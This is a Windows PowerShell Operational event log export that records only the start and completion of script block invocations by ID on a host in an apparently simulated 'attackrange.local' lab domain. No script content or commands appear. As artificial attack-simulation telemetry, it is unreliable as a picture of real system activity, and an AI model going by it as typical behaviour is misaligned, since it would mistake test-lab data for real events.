TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046776
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046759
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046753
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046731
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046729
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046728
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
